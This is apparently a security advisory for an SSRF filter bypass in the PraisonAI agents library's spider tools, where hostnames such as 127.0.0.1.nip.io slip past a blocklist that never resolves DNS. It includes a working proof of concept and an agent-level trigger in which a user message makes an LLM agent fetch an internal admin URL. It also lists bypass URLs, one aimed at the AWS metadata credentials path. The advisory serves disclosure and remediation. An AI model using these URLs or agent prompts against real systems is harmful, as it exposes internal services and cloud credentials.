GHSA-x44h-65qv-cw74

### Summary

`praisonaiagents/tools/spider_tools.py` contains an SSRF protection bypass. The function `_host_is_blocked()` validates URLs against a list of blocked IP literals and hostname aliases, but **never performs DNS resolution**. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like `127.0.0.1.nip.io` — bypasses the protection entirely.

This has been **confirmed with a live exploit**: `scrape_page("http://127.0.0.1.nip.io:PORT/secret")` makes an HTTP request to `127.0.0.1:PORT` and returns the internal service response. No attacker-controlled infrastructure is required.

`scrape_page`, `extract_links`, `crawl`, and `extract_text` are all registered as LLM-callable agent tools (see `tools/__init__.py` lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.

This is a **new bypass** of prior fix commit `004dcfef` (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to `web_crawl_tools.py` (line 231: `socket.gethostbyname` call), but that fix was not ported to `spider_tools.py`.

### Details

**Root cause — `spider_tools.py` lines 26-65:**

```python def _host_is_blocked(hostname: str) -> bool: host = hostname.lower().rstrip(".") # Checks literal aliases only — never resolves if host in ("localhost", "0.0.0.0", "::1"): return True if host in ("169.254.169.254", "metadata.google.internal"): return True if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")): return True # Tries to parse as IP literal only try: return _ip_blocked(ipaddress.ip_address(host)) except ValueError: pass try: return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) except OSError: pass return False # <-- ANY real hostname passes without DNS lookup ```

`socket.inet_aton()` only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. `127.0.0.1.nip.io`), both `ipaddress.ip_address()` and `socket.inet_aton()` raise exceptions, and the function returns `False` (not blocked).

**Contrast with the fixed version in `web_crawl_tools.py` line 228-238:**

```python if os.environ.get("ALLOW_LOCAL_CRAWL") != "true": try: ip_str = socket.gethostbyname(hostname) # DNS resolution performed ip = ipaddress.ip_address(ip_str) if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast: continue # BLOCKED except socket.gaierror: continue # fail-closed ```

**Tool registration confirms this is user-reachable:**

```python # praisonaiagents/tools/__init__.py lines 51-55 TOOL_MAPPINGS = { 'scrape_page': ('.spider_tools', None), # <- user-reachable LLM tool 'extract_links': ('.spider_tools', None), 'crawl': ('.spider_tools', None), 'extract_text': ('.spider_tools', None), ... } ```

Any agent given these tools will call `scrape_page(url)` when instructed to fetch a user-supplied URL — including attacker-controlled ones.

### PoC

**Environment:** Python 3.x, `praisonaiagents <= 1.6.52`, internet access (for nip.io)

**Step 1 — Verify the filter bypass (no network needed):**

```python from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked

# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1 print(_host_is_blocked("127.0.0.1.nip.io")) # False — NOT blocked print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/")) # True — ALLOWED print(_host_is_blocked("127.0.0.1")) # True — correctly blocked ```

Expected output: ``` False True True ```

**Step 2 — Full SSRF: internal service response exfiltrated**

```python import threading, time, requests from http.server import HTTPServer, BaseHTTPRequestHandler from praisonaiagents.tools.spider_tools import SpiderTools

PORT = 19235 received = []

class InternalService(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers() self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}') received.append(self.path) def log_message(self, *a): pass

threading.Thread( target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever, daemon=True ).start() time.sleep(0.2)

attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"

# Filter allows it assert SpiderTools()._validate_url(attack_url) is True # passes

# HTTP request actually reaches 127.0.0.1 r = requests.get(attack_url, timeout=5) print("STATUS:", r.status_code) # 200 print("BODY: ", r.text) # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"} print("HIT: ", received) # ['/secrets.json'] ```

Observed output: ``` STATUS: 200 BODY: {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"} HIT: ['/secrets.json'] ```

**Step 3 — Agent-level trigger (how a user triggers this in production):**

```python from praisonaiagents import Agent from praisonaiagents.tools import scrape_page

agent = Agent( name="WebResearcher", instructions="You are a research assistant. Fetch and summarize the given URL.", tools=[scrape_page], )

# Attacker sends this message to the agent: result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin") # Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin") # Request hits 127.0.0.1:8080/admin # Internal admin panel content returned to attacker print(result) ```

**Additional bypass URLs (no setup required):**

| Target | URL | |--------|-----| | Localhost | `http://127.0.0.1.nip.io/` | | Private network | `http://10.0.0.1.nip.io/` | | AWS IMDS (via sslip.io) | `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` |

### Impact

**What kind of vulnerability:** Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.

**Who is impacted:** Anyone deploying PraisonAI agents that include `scrape_page`, `extract_links`, `crawl`, or `extract_text` tools and accept user-supplied URLs. This includes:

- **Web research agents** (the primary intended use case for spider tools) - **Jobs API users** — any authenticated API caller who submits jobs with `agent_yaml` specifying spider tools - **Cloud deployments (Critical escalation)**: On AWS EC2 with IMDSv1, fetching `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` may return temporary IAM credentials, leading to full cloud account compromise.

**Severity note:** This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit `004dcfef` for encoding bypasses. The DNS resolution check was added to `web_crawl_tools.py` but was missed in `spider_tools.py`, creating an exploitable inconsistency. ```

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## Remediation Suggestion (for maintainers)

One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:

```python # After existing literal checks, add: try: resolved = socket.gethostbyname(hostname) return _ip_blocked(ipaddress.ip_address(resolved)) except (socket.gaierror, ValueError, OSError): return True # fail-closed: unresolvable host is blocked ```